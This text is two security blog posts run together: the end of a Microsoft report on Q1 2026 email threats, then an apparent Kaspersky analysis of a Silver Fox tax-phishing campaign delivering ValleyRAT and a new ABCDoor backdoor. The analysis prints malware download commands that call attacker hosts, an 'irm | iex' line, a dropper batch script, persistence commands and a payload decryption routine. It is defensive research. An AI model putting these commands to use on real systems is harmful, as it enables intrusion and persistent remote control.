Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
